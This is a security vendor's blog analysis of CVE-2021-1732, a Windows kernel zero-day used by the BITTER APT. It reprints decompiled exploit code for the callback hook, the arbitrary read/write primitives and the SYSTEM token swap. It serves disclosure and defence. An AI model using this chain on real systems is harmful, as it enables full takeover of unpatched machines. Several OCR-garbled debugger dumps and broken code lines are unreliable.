# Windows kernel zero-day exploit (CVE-2021-1732) is used by BITTER APT in targeted attack

xx ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targetedattack/

#### 猎影实验室

February 10, 2021

#### Background

In December 2020, DBAPPSecurity Threat Intelligence Center found a new component of BITTER APT. Further analysis into this component led us to uncover a zero-day vulnerability in win32kfull.sys. The origin in-the-wild sample was designed to target newest Windows10 1909 64-bits operating system at that time. The vulnerability also affects and could be exploited on the latest Windows10 20H2 64-bits operating system. We reported this vulnerability to MSRC, and it is fixed as CVE-2021-1732 in the February 2021 Security Update.

So far, we have detected a very limited number of attacks using this vulnerability. The victims are located in China.

#### Timeline

- 2020/12/10: DBAPPSecurity Threat Intelligence Center caught a new component of BITTER APT.
- · 2020/12/15: DBAPPSecurity Threat Intelligence Center uncovered an unknown windows kernel vulnerability in the component and started the root cause analysis.
- 2020/12/29: DBAPPSecurity Threat Intelligence Center reported the vulnerability to MSRC.
- · 2020/12/29: MSRC confirmed the report has been received and opened a case for it.
- · 2020/12/31: MSRC confirmed the vulnerability is a zero-day and asked for more information.
- · 2020/12/31: DBAPPSecurity provided more detail to MSRC.
- · 2021/01/06: MSRC thanked for the addition information and started working for a fix for the vulnerability.
- · 2021/02/09: MSRC fixes the vulnerability as CVE-2021-1732.

## Highlights

According to our analysis, the in-the-wild zero-day has the following highlights:

#### 1. 1. It targets the latest version of Windows10 operating system

- 1. 1.1. The in-the-wild sample targets the latest version of Windows10 1909 64-bits operating system (The sample was compiled in May 2020).
- 2. 1.2. The origin exploit aims to target several Windows 10 versions, from Windows10 1709 to Windows10 1909.
- 3. 1.3. The origin exploit could be exploited on Windows10 20H2 with minor modifications.

#### 2. 2. The vulnerability is high quality and the exploit is sophisticated

- 1. 2.1. The origin exploit bypasses KASLR with the help of the vulnerability feature.
- 2. 2.2. This is not a UAF vulnerability. The whole exploit process is not involved heap spray or memory reuse. The Type Isolation mitigation can't mitigate this exploit. It is unable to detect it by Driver Verifier, the in-the-wild sample can exploit successfully when Driver Verifier is turned on. It's hard to hunt the in-the-wild sample through sandbox.
- 3. 2.3. The arbitrary read primitive is achieved by vulnerability feature in conjunction with GetMenuBarInfo, which is impressive.
- 4. 2.4. After achieving arbitrary read/write primitives, the exploit uses Data Only Attack to perform privilege escalation, which can't be mitigated by current kernel mitigations.
- 5. 2.5. The success rate of the exploit is almost 100%.
- 6. 2.6. When finishing exploit, the exploit will restore all key struct members, there will be no BSOD after exploit.

#### 3. 3. The attacker used it with caution

- 1. 3.1. Before exploit, the in-the-wild sample detects specific antivirus software.
- 2. 3.2. The in-the-wild sample performs operating system build version check, if current build version is under than 16535(Windows10 1709), the exploit will never be called.
- 3. 3.3. The in-the-wild sample was compiled in May 2020, and caught by us in December 2020, it survived at least 7 months. This indirectly reflects the difficulty of capturing such stealthy sample.

## **Technical Analysis**

#### 0x00 Trigger Effect

If we run the in-the-wild sample in the lasted windows10 1909 64-bits environment, we could observe current process initially runs under Medium Integrity Level.

🥪 spoolsv. exe	System	5.252 K O.K 1704 后台处理程序子系统应用 Microsoft Corporation			
svchost. exe	System	关于"Windows" ×			
svchost.exe	System				
GAuthService.exe	System				
vmtoolsd. exe	System				
svchost. exe	System				
dllhost.exe	System				
💫 msdtc. exe	System				
svchost. exe	Medium				
svchost. exe	Medium	Microsoft Windows			
🔲 👧 SearchIndexer. exe	System	With 0 50 t Windows			
SearchProtocolHost.exe	System	NX4 1909 (US MIDNX4 16303.1310)			
🧟 SearchFilterHost.exe	Medium	© 2019 Microsoft Corporation。保留所有权利。			
SecurityHealthService.exe	System				
svchost. exe	System	Windows 10 专业版 操作系统及其用户界面受美国和其他国家/地区的商标法和其			
📷 svchost. exe	System	他待倾布或已颁布的知识产权法保护			
📩 SgrmBroker. exe	System				
svchost.exe	System				
svchost.exe	System				
svchost.exe	System				
lsass.exe	System				
fontdrvhost.exe	AppContainer				
csrss.exe	System	根据 <u>Microsoft软件许可条款</u> ,许可如下用户使用本产品:			
🔲 📷 winlogon. exe	System				
fontdrvhost.exe	AppContainer	Windows 用户			
dwm. exe	System				
🔤 🚬 explorer. exe	Medium				
SecurityHealthSystray.exe	Medium				
vm3dservice.exe	Medium				
vmtoolsd.exe	Medium	油 一 二 二 二 二 二 二 二 二 二 二 二 二 二 二 二 二 二 二			
🔲 🏧 DbgX. Shell. exe	Medium	WEAL WEAL			
- EngHost. exe	Medium	0.03 22,012 h 010 h 3400			
itw_exploit.exe	Medium	612 K 0 K 4936			
connost. exe	meaium	7,540 K 1,152 K 3984 控制台窗口主进程 Microsoft Corporation			
winver. exe	Medium	0.01 2,200 K 2,704 K 1032 版本报告小程序 Microsoft Corporation			
🔲 🎥 procexp. exe	High	3,988 K 1,032 K 2832 Sysinternals Process Ex Sysinternals - www.sy			
procexp64. exe	High	2.13 17,584 K 10,444 K 1000 Sysinternals Process Ex Sysinternals - www.sy			

After the exploit code executing, we could observe current process runs under System Integrity Level. This indicates that the Token of the current process has been replaced with the Token of System process, which is a common method of exploiting kernel privilege escalation vulnerabilities.



If we run the in-the-wild sample in the lasted windows10 20H2 64-bits environment, we could observe BSOD immediately.



### 0x01 Overview Of The Vulnerability

This vulnerability is caused by xxxClientAllocWindowClassExtraBytes callback in win32kfull!xxxCreateWindowEx. The callback causes the setting of a kernel struct member and its corresponding flag to be out of sync.

When xxxCreateWindowEx creating a window that has WndExtra area, it will call xxxClientAllocWindowClassExtraBytes to trigger a callback, the callback will return to user mode to allocate WndExtra area. In the custom callback function, the attacker could call NtUserConsoleControl and pass in the handle of current window, this will change a kernel struct member (which points to the WndExtra area) to offset, and setting a corresponding flag to indicate that the member now is an offset. After that, the attacker could call NtCallbackReturn in the callback and return an arbitrary value. When the callback ends and return to kernel mode, the return value will overwrite the previous offset member, but the corresponding flag is not cleared. After that, the unchecked offset value is directly used by kernel code for heap memory addressing, causing out-of-bounds access.

### 0x02 Root Cause

We completely reversed the exploit code of the in-the-wild sample, and constructed a poc base it. The following figure is the main execution logic of our poc, we will explain the vulnerability trigger logic in conjunction with this figure.



In win32kfull!xxxCreateWindowEx, it will call user32!\_xxxClientAllocWindowClassExtraBytes callback function to allocate the memory of WndExtra by default. The return value of the callback is a use mode pointer which will then been saved to a kernel struct member (the WndExtra member).



If we call win32kfull!xxxConsoleControl in a custom \_xxxClientAllocWindowClassExtraBytes callback and pass in the handle of current window, the WndExtra member will be change to an offset, and a corresponding flag will be set (|=0x800).

```
if ( *( DWORD *)(*v16 + 0xE8) & 0x800 )
     ReAlloc_DesktopAlloc = *(_QWORD *)(v22 + 0x128) + *(_QWORD *)(*(_QWORD *)(v15 + 0x18) + 0x80i64);
   }
   else
   ł
     ReAlloc_DesktopAlloc = DesktopAlloc(*(_QWORD *)(v15 + 0x18), *(_DWORD *)(v22 + 0xC8));
     if ( !ReAlloc DesktopAlloc )
                                                // 分配失败
     {
       v5 = 0xC0000017;
LABEL 33:
       ThreadUnlock1(v22, v19, v20, v21);
       return v5;
     if ( *(_QWORD *)(*v16 + 0x128) )
     {
       v24 = ((__int64 (__fastcall *)(__int64, __int64, __int64, __int64))PsGetCurrentProcess)(v22, v19, v20, v21);
       v31 = *(DWORD *)(*v16 + 200);
       v30 = *(const void **)(*v16 + 0x128);
       memmove((void *)ReAlloc_DesktopAlloc, v30, v31);
       if ( !(*(_DWORD *)(v24 + 0x30C) & 0x40000008) )
         xxxClientFreeWindowClassExtraBytes(v15, *(_QWORD *)(*(_QWORD *)(v15 + 0x28) + 0x128i64));
      v22 = ReAlloc_DesktopAlloc - *(_QWORD *)(*(_QWORD *)(v15 + 0x18) + 0x80i64);
*(_QWORD *)(*v16 + 0x128) = v22;
   3
   if ( ReAlloc DesktopAlloc )
   ł
      *(_DWORD *)ReAlloc_DesktopAlloc = *(_DWORD *)(v4 + 8);
      *(_DWORD *)(ReAlloc_DesktopAlloc + 4) = *(_DWORD *)(v4 + 0xC);
   *( DWORD *)(*v16 + 0xE8) = 0x800u;
```

The poc triggers an BSOD when calling DestoryWindow, win32kfull!xxxFreeWindow will check the flag above, if it has been set, indicating the WndExtra member is an offset, xxxFreeWindow will call RtIFreeHeap to free the WndExtra area; if not, indicating the WndExtra member is an use mode pointer, xxxFreeWindow will call xxxClientFreeWindowClassExtraBytes to free the WndExtra area.



We could call NtCallbackReturn in the end of custom

\_xxxClientAllocWindowClassExtraBytes callback and return an arbitrary value. When the callback finishes and return to kernel mode, the return value will overwrite the offset member, but the corresponding flag is not cleared.

In the poc, we return an user mode heap address, the address overwrites the origin offset to an user mode heap address(fake\_offset). This finally causes win32kfull!xxxFreeWindow to trigger an out-of-bound access when using RtIFreeHeap to release a kernel heap.

- What RtlFreeHeap expects to free is RtlHeapBase+offset
- What RtlFreeHeap actually free is RtlHeapBase+fake\_offset

			,
1: KO> P	ffffcd8c`ba2666eb 7541	jne wi	n32kfull!xxxFreeWindow+0x4ca (ffffcd8c`ba26672e)
rax=tttt8t0ta5e10890 rbx=000002288133bc30 rcx=ttttcdc5c1200000	ffffcd8c`ba2666ed 418b87e0010000	mov ea	ix, dword ptr [r15+1E0h]
rdx=000000000000000 rs1=00000000000000 rd1=ffffcdc5c6527a80	ffffcd8c`ba2666f4 4184c4	test r1	2b, al
rip=ffffcd8cba266717 rsp=fffff60156bd58a0 rbp=fffff60156bd5969	ffffcd8c`ba2666f7 7535	ine wi	n32kfull!xxxFreeWindow+0x4ca (ffffcd8c`ba26672e)
r8=ffffcfee4253bc30 r9=00000000000002a0 r10=ffffcdc5c6527a80	ffffcd8c`ba2666f9_488bd3	mov rd	lx, rbx
r11=fffff60156bd54b0 r12=000000000000001 r13=0000000000000000	ffffcd8c`ba2666fc_488bcf	mov no	x. rdi
r14=00000000000000 r15=ffffcdc5c5d67010	ffffcd8c`ba2666ff_e8d46a0100	call wi	n32kfulllvvvClientEreeWindowClassEvtraButes (ffff
iopl=0 nv up ei pl zr na po nc	ffffcd8c`ba266704_eb28	imp wi	n32kfulllyyyEneeWindow±0yAca (ffffcd8c1ba26672e)
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b ef1=00040246	ffffcd9c`ba266706_409b4719	Jmp 11	w guond ata [ndi 19h]
win32kfull!xxxFreeWindow+0x4b3:	ffffcdgc`ba26670a_22d2	100 10	k, dword per [ruition]
ffffcd8c`ba266717 48ff15a2b22e00 call gword ptr [win32kfull! imp RtlFreeHeap (ffffcd8c`ba5519c0)]	ffffedec bazerre techeeree	201 60	w gword ata [navi80h]
1: kd> lheap -p -a @rbx	ffffedba' haacc712 4aadaaah	(100 PC	x. dword htt [rax+oon]
address 000002288133bc30 found in	11111CU8C 04266713 40804460	uea re	, TPDX+PCXT
HEAP @ 22881330000	TTTTC08C Da266/1/ 48TT15a2D22e00	call dw	ord ptr [win32ktuil]_imp_ktlFreeHeap (ffffcd8c ba
HEAD ENTRY Size Dray Flags UserPtr UserSize _ state	ttttcd8c ba266/1e 0t1t440000	nop aw	ord ptr [rax+rax]
	ttttcd8c ba266723 488b4728	mov na	ix, qword ptr [rd1+28h]
000022881336220 0003 0000 [00] 0000022881350230 00020 - (0033)	ttttcd8c ba266727 4c89b028010000	mov qu	ord ptr [rax+128h], r14
	ffffcd8c`ba26672e 4c8d6f78	lea ri	.3, [rdi+78h]
as late level Once	ffffcd8c`ba266732 498b4500	mov na	ix, qword ptr [r13]
1: KO> 10001 @rCX	ffffcd8c`ba266736 4885c0	test ra	ix, rax
Pool page TTTTCGCSC1200000 Fegion is Paged session pool	ffffcd8c`ba266739 746f	je wi	n32kfull!xxxFreeWindow+0x546 (ffffcd8c`ba2667aa)
tottechological is not a valid large pool allocation, checking large session pool	ffffcd8c`ba26673b 488d90c8000000	lea rd	lx, [rax+0C8h]
ffffcdc5c1200000 is not valid pool. Checking for freed (or corrupt) pool	ffffcd8c`ba266742 48393a	cmp qw	word ptr [rdx], rdi
Address ttttcdc5c1200000 could not be read. It may be a freed. invalid or paged out page	ffffcd8c`ba266745 7563	jne wi	n32kfull!xxxFreeWindow+0x546 (ffffcd8c`ba2667aa)
1: kd> dc @rbx+@rcx	ffffcd8c`ba266747 488b4828	mov ro	x, gword ptr [rax+28h]
ffffcfee 4253bc30 ???????? ???????? ??????????????????	ffffcd8c`ba26674b_44387113	cmp by	te ptr [rcx+13h], r14b
ffffcfee 4253bc40 ???????? ???????? ???????? ??????????	ffffcd8c`ba26674f_7c96	il wi	n32kfulllxxxEreeWindow+0x4f3 (ffffcd8c`ba266757)
ffffcfee`4253bc50 ???????? ???????? ???????? ???????? ????	ffffcd8c`ba266751_44387114	cmn by	te ntr [rcv+14h] r14h
ffffcfee 4253bc60 ???????? ???????? ???????? ??????????	ffffcd8c ba266755 7d03	ige wi	n32kfulllxxxEneeWindow+0x4f6 (ffffcd8c`ba26675a)
ffffcfee 4253bc70 ???????? ???????? ??????????????????	ffffcd9c`ba266757_409bc6	JEC 11	niszkraiitakkireewindowrokwro (TTTTedde bazoorsa)
ffffcfee 4253bc80 ???????? ???????? ???????? ??????????	ffffcd8c`ba26675a_498055d7	mov 16	word ntr [rbn_30h] rdv
ffffcfee`4253bc90_????????????????????????????????????	ffffcdec`ba26675a_48895507	100 90	w [php 10h]
ffffcfee`4253bca0_????????????????????????????????????	1	Tea Ti	x. 1110-1901
	Stack		
	Frame Index Name		
	(0x0) win32kfull!xxxFreeWindow +	0x4b3	
	10v11 win23hfullhauDestrout/Mindows	0-022	
	IOXII WIISZKIUIIXXXDestroyWindow +	0x922	
	IDx21 win32kfull!NtUserDestroyWindo	w + 0x3a	
	[0x3] ntlKiSystemServiceCopyEnd + 0	(25	
1: KQ>	[0x4] 0x7ffe637a23e4		
	[0x5] 0x7ff6bfdf129e		
	[0x6] 0x2000		

## If we call the RtlFreeHeap here, it will trigger a BSOD.

1: kd> p						
KDTARGET: Refreshing KD connection						
*** Fatal System Error: 0x00000050 (0xFFFFCFEE4253BC20,0x00000000000000000,0xFFFF80126482490,0x00000000000000000000)						
WARNING: This break is not a step/trace co	ompletion.					
The last command has been cleared to preve	nt					
accidental continuation of this unrelated	event.					
Check the event, location and thread befor	re resuming.					
Break instruction exception - code 80000003 (first chance)						
A fatal system error has occurred.						
Debugger entered on first try; Bugcheck ca	allbacks have not been invoked.					
A fatal system error has occurred.						
For analysis of this file, run <u>!analyze -v</u>	<u>/</u>					
nt!DbgBreakPointWithStatus:						
1, kds k	3					
# Child_SP RetAddr	call site					
00 fffff601`56bd4b68 fffff801`266c7db2	nt lobeBreakPointWithStatus					
01 fffff601`56bd4b70 fffff801`266c74a7	nt [KiBugCheckDebugBreak+0x12					
02 fffff601`56bd4bd0 fffff801`265e2c27	nt!KeBugCheck2+0x947					
03 fffff601`56bd52d0 fffff801`2662ce82	nt!KeBugCheckEx+0x107					
04 fffff601`56bd5310 fffff801`264e9aff	nt!MiSystemFault+0x198d62					
05 fffff601`56bd5410 fffff801`265f0b5e	nt!MmAccessFault+0x34f					
06 fffff601`56bd55b0 fffff801`26482490	nt!KiPageFault+0x35e					
07 fffff601`56bd5740 fffff801`2653027a	nt!RtlpHpVsContextFree+0x570					
<u>08</u> fffff601 56bd57e0 fffff801 265301fc	ntRtlpFreeHeapInternal+0x5a					
09 tfttf601 56bd5860 tfttcd8c ba26671e ntlRtlFreeHeap+0x3c						
Va TTTTT601 56005880 TTTTC08C Da263142	Win32KTUII!XXXFPeeWINdOW+0X4Da					
00 fffff601 56bd5ad0 fffff801 265f4355	win32kfull/ktlscrbestrowkindow40x32					
ad fffff601`56bd5b00 00007ffe`637a23e4	winder unreder best best windownood					
0e 000000fc`ed6ff728 00007ff6`bfdf129e	0x00007ffe 637a3e4					
of 000000fc`ed6ff730 00000000`00002000	0x00007ff6`bfdf129e					
10 00000fc`ed6ff738 00007ff6`bfdf32e0	0x2000					
11 000000fc`ed6ff740 00007ffe`65dc7330	0x00007ff6`bfdf32e0					
12 000000fc`ed6ff748 00007ffe`639baeac	0x00007ffe`65dc7330					
13 00000fc`ed6ff750 00007ffe`0000000	0x00007ffe`639baeac					
<u>14</u> 000000fc`ed6ff758 00007ffe`0000000	0x00007ffe 0000000					
15 000000fc ed6ff760 00007ffe 0000000	0x00007tte 00000000					
TP 0000001C 60011/08 00000000 00000000	0X0000/TTE 00000000					

## 0x03 Exploit

The in-the-wild sample is a 64-bits program, it first calls CreateToolhelp32Snapshot and some other functions to enumerate process to detect "avp.exe" (avp.exe is a process of Kaspersky Antivirus Software).

000000000025AF 88 F1 n	mov esi	ecx	
000000000025B1 33 D2	xor edx	edx ; th32ProcessID	
000000000025B3 8D 4A 02	lea ecx	[rdx+2] ; dwFlags	
0000000000025B6 FF 15 8C DA 03 00 0	call cs:	CreateToolhelp32Snapshot	
000000000025BC 48 88 F8 m	mov rdi	rax	
000000000025BF 45 33 FF	xor r15	l, r15d	
0000000000025C2 4C 89 7C 24 58 m	mov qwo	rd ptr [rsp+310h+pObj], r15	
0000000000025C7 4C 89 7C 24 60 m	mov qwo	nd ptr [rsp+310h+pObj+8], r15	
0000000000025CC 0F 57 C0 >>	xorps xmm <sup>(</sup>	), xmm0	
00000000000025CF F3 0F 7F 44 24 68 m	movdqu xmm	vord ptr [rsp+ <mark>68h</mark> ], xmm0	
0000000000025D5 41 8D 4F 10	lea ecx	[r15+10h]	
000000000000000000000000000000000000000			
000000000002505	10	2509.	
000000000025D9 E8 82 16 0	00 00 ca	1 sub 3060	
0000000000025DE 48 89 44 2	24 58 mo	/ gword ptr [rsp+310h+pObil, rax	
000000000025E3 0F 57 C0	xo	xmm0, xmm0	
000000000025E6 0F 11 00	mo	ups xmmword ptr [rax], xmm0	
000000000025E9 48 8D 4C 2	24 58 le	rcx, [rsp+310h+pObj]	
000000000025EE 48 8B 44 2	24 58 mo	<pre>rax, gword ptr [rsp+310h+p0bj]</pre>	
000000000025F3 48 89 08	mo	/ [ray] rcy	
000000000025F6 48 8D 15	33 F0 04 le	a rdx, aAvpExe ; "avp.exe"	
000000000025FD 48 8D 4C 2	24 78 Ie	a rcx, [rsp+310h+Arr]	
	¥		
000000000000000000000000000000000000000	1	0.0 2602 :	
000000000000000000000000000000000000000		all sub 2800	
000000000000000000000000000000000000000	- 00 00 C	00	
00000000000000000000000000000000000000	) 38 02 00+m	ov [rbn+228h+ne_dwSize] 238h	
00000000000000000000000000000000000000	; BØ 1	ea rdx [rbn+228h+ne] : ]nne	
000000000002613 48 8B CF	·	ov rcx, rdi : hSnapshot	
00000000002616 FF 15 34	+ DA 03 00 c	all cs:Process32FirstW	
0000000000261C 85 C0	t	est eax, eax	
0000000000261E 0F 84 DA	03 00 00 j	z loc_29FE	

However, when detecting the "avp.exe" process, it will only save some value to custom struct and will not exit process, the full exploit function will still be called. We install the Kaspersky antivirus product and run the sample; it will obtain system privileges as usual.

		9 976 K	2 256 K	4948 Windows 服务主讲程 Microsoft Cornerati	on Suctom
🕞 💽 avp. exe	0.45	161,416 K	79,888 K	2512 Kaspersky Anti-Virus AO Kaspersky Lab	Medium
avpui. exe	0.04	74,024 K	2,116 K	4988	Medium
svcnost. exe		0, VIZ N	2, 040 n	4930 Windows 旅方土疋任 Microsoft Corporati	on bystem
svchost. exe		1,844 K	0 к	5196 Windows 服务主进程 Microsoft Corporati	on System
svchost. exe		6,580 K	2,700 K	6164 Windows 服务主进程 Microsoft Corporati	on System
Isass.exe	< 0.01	5,364 К	4,392 K	604	System
fontdrvhost. exe		1,656 K	96 K	720 Usermode Font Driver Microsoft Corporati	on AppContainer
csrss. exe	0.18	7,404 К	17,104 K	476 Client Server Runtime Microsoft Corporati	on System
winlogon.exe		2,944 K	796 K	556 Windows 登录应用程序 Microsoft Corporati	on System
fontdrvhost. exe		3,372 К	1,700 K	728 Usermode Font Driver Microsoft Corporati	on AppContainer
dwm. exe	0.79	73,660 K	17,844 K	1692 桌面窗口管理器 Microsoft Corporati	on System
🖃 🐂 explorer. exe	0.11	57,716 K	45,852 K	3088 Windows 资源管理器 Microsoft Corporati	on Medium
SecurityHealthSystray.exe		1,880 K	2,128 K	4184 Windows Security noti Microsoft Corporati	on Medium
vm3dservice.exe		1,924 K	360 K	4288 VMware SVGA Helper Se VMware, Inc.	Medium
vmtoolsd.exe	0.09	23, 820 к	4,304 K	4316 VMware Tools Core Ser VMware, Inc.	Medium
🗆 🏧 DbgX. Shell. exe	1.23	124,128 K	49, 424 K	7156	Medium
RnoHost ava	0.04	22 616 K	17 060 K	1664	Madium
tw_exploit.exe		1,116 K	4,500 K	3432	System
connost. exe		0,440 h	14, 200 A	- Z33Z 近空音 図 山土 近任 Microsoft Corporati	on Mealum

It then calls IsWow64Process to check whether the current environment is 32-bits or 64-bits, and fix some offsets based on the result. Here the code developer seems make a mistake, according to the source code below, g\_x64 should be understood as g\_x86, but subsequent calls indicate that this variable represents the 64-bits environment.

However, the code developer forces g\_x64 to TRUE at initialization, the call to IsWow64Process actually can be ignored here. But this seems to imply that the developer had also developed another 32-bits version exploit.

```
<mark>g_x64</mark> = 1;
 hCur = GetCurrentProcess();
 IsWow64Process(hCur, &Wow64Process);
 if ( Wow64Process )
 {
   g_{x64} = 1;
   goto LABEL_35;
 if ( g_x64 )
 {
ABEL_35:
  offset 0x2C = 0x2C;
  offset 0x28 = 0x28;
  offset_0x40 = 0x40;
  offset_0x44 = 0x44;
  offset_0x58 = 0x58;
}
 else
 {
  offset_0xC8 = 0x80;
   offset_0x18 = 0x10;
  offset 0x1C = 0x14;
   offset_0xE0 = 0x90;
   offset 0x128 = 0xC0;
```

After fixing some offsets, it obtains the address of RtlGetNtVersionNumbers, NtUserConsoleControl and NtCallbackReturn. Then it calls RtlGetNtVersionNumbers to get

the build number of current operating system, the exploit function will only be called when the build number is larger than 16535(Windows10 1709), and if the build number larger than 18204(Windows10 1903), it will fix some kernel struct offset. This seems to imply that support for these versions was added later.

```
pfnRtlGetNtVersionNumbers((char *)&v34 + 4, &v34, &BuildNumber);
BuildNumber_ = (unsigned __int16)BuildNumber;
LODWORD(BuildNumber) = BuildNumber_;
if ( BuildNumber_ >= 16353 ) // 1709
{
    if ( BuildNumber_ >= 18204 && g_x64 ) // 1903
    {
        offset_ActiveProcessLinks = 0x2F0;
        offset_InheritedFromUniqueProcessId = 0x3E8;
        offset_Token = 0x360;
        offset_UniqueProcessId = 0x2E8;
    }
    ret = eop(0.0);
}
```

If the current environment passes the check, the exploit will be called by the in the wild sample. The exploit first searches bytes to get the address of HmValidateHandle, and hooks USER32!\_xxxClientAllocWindowClassExtraBytes to a custom callback function.

```
hUser32 = GetModuleHandleA("User32.dll");
pfnIsMenu = GetProcAddress(hUser32, "IsMenu");
uiHMValidateHandleOffset = 0;
i = 0i64;
while ( *(pfnIsMenu + i) != 0xE8u )
  ++uiHMValidateHandleOffset;
 if (++i \ge 0x15)
    return 0i64;
g pfnHmValidateHandle = (pfnIsMenu + uiHMValidateHandleOffset + *(pfnIsMenu + uiHMValidateHandleOffset + 1) + 5);
IsMenu(0i64);
                   readgsqword(0x60u) + 0x58);
CallbackTable = *(
g_Origin_xxxClientAllocWindowClassExtraBytes = *(CallbackTable + 0x3D8);
VirtualProtect((CallbackTable + 0x3D8), 0x300ui64, 0x40u, &fl0ldProtect);
*(CallbackTable + 0x3D8) = Hook_xxxClientAllocWindowClassExtraBytes;// overwrite USER32!_xxxClientAllocWindowClassExtraBytes 0x7B
VirtualProtect((CallbackTable + 0x3D8), 0x300ui64, floldProtect, &floldProtect);
```

The exploit then registers two type of windows class. The name of one class is "magicClass", which is used to create the vulnerability window. The name of another class is "nolmalClass", which is used to create normal windows which will assist the arbitrary address write primitive later.

```
WndClassExW.lpfnWndProc = MyWindowProc;
WndClassExW.cbSize = 0x50;
WndClassExW.style = 3;
WndClassExW.cbClsExtra = 0;
WndClassExW.cbWndExtra = 0x20;
WndClassExW.hInstance = GetModuleHandleW(0i64);
WndClassExW.lpszClassName = L"normalClass";
g_Atom1 = RegisterClassExW(&WndClassExW);
if ( !g_Atom1 )
return 0i64;
WndClassExW.cbWndExtra = g_RandNum;
WndClassExW.lpszClassName = L"magicClass";
g_Atom2 = RegisterClassExW(&WndClassExW);
if ( !g_Atom2 )
return 0i64;
```

The exploit creates 10 windows using normalClass, and call HmValidateHandle to leak the user mode tagWND address of each window and an offset of each window through the tagWND address. Then the exploit destroys the last 8 windows, only keep the window 0 and window 1.

If current program is 64-bits, the exploit will call NtUserConsoleControl and pass the handle of windows 1, this will change the WndExtra member of window 0 to an offset. The exploit then leaks the kernel tagWND offset of windows 0 for later use.

```
do
    DestroyWindow(hWndArr[idx++]);
while ( idx < 0xA );
if ( !Wow64Process )
{
    g_hWnd0_ = (__int64)g_hWnd0;
    v28 = 1;
    v29 = 2;
    pfnNtUserConsoleControl(6i64, &g_hWnd0_); // change value of g_hWnd0 to offset
}
```

Then the exploit uses magicClass to create another window (windows 2), windows 2 has a certain cbWndExtra value which was generated before. In the process of creating window 2, it will trigger the xxxClientAllocWindowClassExtraBytes callback, and enter the custom

callback function.

In the custom callback function, the exploit first checks if the cbWndExtra of current window match a certain value, then checks if current process is 64-bits. If both checks pass, the exploit calls NtUserConsoleControl and passes the handle of windows 2, this changes the WndExtra of window 2 to an offset and set the corresponding flag. Then the exploit call NtCallbackReturn and pass the kernel tagWND offset of windows 0. When return to kernel mode, kernel WndExtra offset of windows 2 will been changed to the kernel tagWND offset of windows 0. This causes the subsequent read/write on the WndExtra area of window 2 to the read/write on the kernel tagWND structure of window 0.

```
if ( *MSG == g_RandNum )
  hWnd = GethWndFromHeap();
  if ( hWnd )
  {
    bEnterCallBack = 1;
    if ( !Wow64Process )
     hWnd2 = hWnd;
     v5 = 1;
      v6 = 2;
      pfnNtUserConsoleControl(6i64, &hWnd2); // 6 = ConsoleAcquireDisplayOwnership
    if ( g_x64 )
      LODWORD(Result) = g_Offset0;
      *(__int64 *)((char *)&Result + 4) = 0i64;
      v8 = 0i64;
      v9 = 0;
      pfnNtCallbackReturn(&Result, 0x18i64, 0i64);
    }
  }
```

After window 2 is created, the exploit obtains the primitive to write the kernel tagWND of window 0 by setting the WndExtra area of window 2. The exploit makes a call to SetWindowLongW on window 2 to test if this primitive works fine.

If all works fine, the exploit calls SetWindowLongW to set cbWndExtra of windows 0 to 0xfffffff, this gives window 0 the OOB read/write primitives. The exploit then using the OOB write primitive to modify the style of window 1(dwStyle|=WS\_CHILD), after that, the exploit replaces the origin spmenu of window 1 with a fake spmenu.

```
SetWindowLongW(g_hWind2, offset_0xC8, 0xFFFFFF);// change cbwndExtra of hWnd0 to 0xfffffff
if ( g_x64 )
{
 offset style = offset 0x18;
 style = *(_QWORD *)(g_tagWND1 + 8 * ((unsigned __int64)(unsigned int)offset_0x18 >> 3));
 new style = style ^ 0x40000000000000i64;
}
else
{
 offset_style = offset_0x1C;
 style = *(unsigned int *)(g tagWND1 + 4 * ((unsigned int64)(unsigned int)offset 0x1C >> 2));
 new_style = style ^ 0x40000000;
new style = new style;
style_ = style;
SetWindowLongPtrA(g_hWnd0, offset_style + g_Offset1 - g_Offset0, new_style);// use hWnd0 to modify dwStyle of hWnd1
                                             // then replace the spmenu of hWnd1 with fake spmenu
spmenu = SetWindowLongPtrA(g_hWnd1, -12, fake_spmenu);// SetWindowLongPtrA replaces the target window's spmenu
                                             // field with fake_spmenu when using GWLP_ID
                                             // and the target window's style is WS_CHILD
```

The arbitrary read primitive is achieved by fake spmenu works with GetMenuBarInfo. The exploit reads a 64-bits value using tagMenuBarInfo.rcBar.left and tagMenuBarInfo.rcBar.top. This method has not been used publicly before, but is similar with the ideas in 《LPE vulnerabilities exploitation on Windows 10 Anniversary Update》 (ZeroNight, 2016)

```
GetMenuBarInfo(_g_hWnd2, -3, 1, &g_tagMenuBarInfo);
return g_tagMenuBarInfo.rcBar.left + (g_tagMenuBarInfo.rcBar.top << 32);</pre>
```

The arbitrary write primitive is achieved via window 0 and window 1, work with SetWindowLongPtrA, see below.

```
LONG_PTR __fastcall Write64(LONG_PTR addr, LONG_PTR value)
{
LONG_PTR value_; // rbx
value_ = value;
SetWindowLongPtrA(g_hWnd0, g_Offset1 + offset_0x128 - g_Offset0, addr);
return SetWindowLongPtrA(g_hWnd1, 0, value_);
```

After achieving the arbitrary read/write primitives, the exploit leaks a kernel address from the origin spmemu, then searches through it to find the EPROCESS of current process.

Finally, the exploit traversals ActiveProcessLinks to get the Token of SYSTEM EPROCESS and the Token area address of current EPROCESS, and swaps the current process Token value with SYSTEM Token.

```
else
{
   while ( !SystemToken || !CurrentTokenAddr )
   {
     ProcessId_ = Read64(pEProcess + offset_UniqueProcessId);
     if ( ProcessId_ == 4 )
        SystemToken = Read64(pEProcess + offset_Token);
     if ( ProcessId_ == CurrentPid )
        CurrentTokenAddr = pEProcess + offset_Token;
     pEProcess = Read64(pEProcess + offset_ActiveProcessLinks) - offset_ActiveProcessLinks;
     if ( pEProcess == v40 )
        goto LABEL_36;
     }
     if ( SystemToken )
     Write64(CurrentTokenAddr, SystemToken);
```

After achieving privilege escalation, the exploit restores the modified area of window 0, window 1 and window 2 using arbitrary write primitive, such as the origin spmenu of window 1 and the flag of window 2, to ensure that it will not cause a BSOD. The entire exploit process is very stable.

#### 0x04 Conclusion

This zero-day is a new vulnerability which caused by win32k callback, it could be used to escape the sandbox of Microsoft IE browser or Adobe Reader on the lasted Windows 10 version. The quality of this vulnerability high and the exploit is sophisticated. The use of this in-the-wild zero-day reflects the organization's strong vulnerability reserve capability. The threat organization may have recruited members with certain strength, or buying it from vulnerability brokers.

## Summary

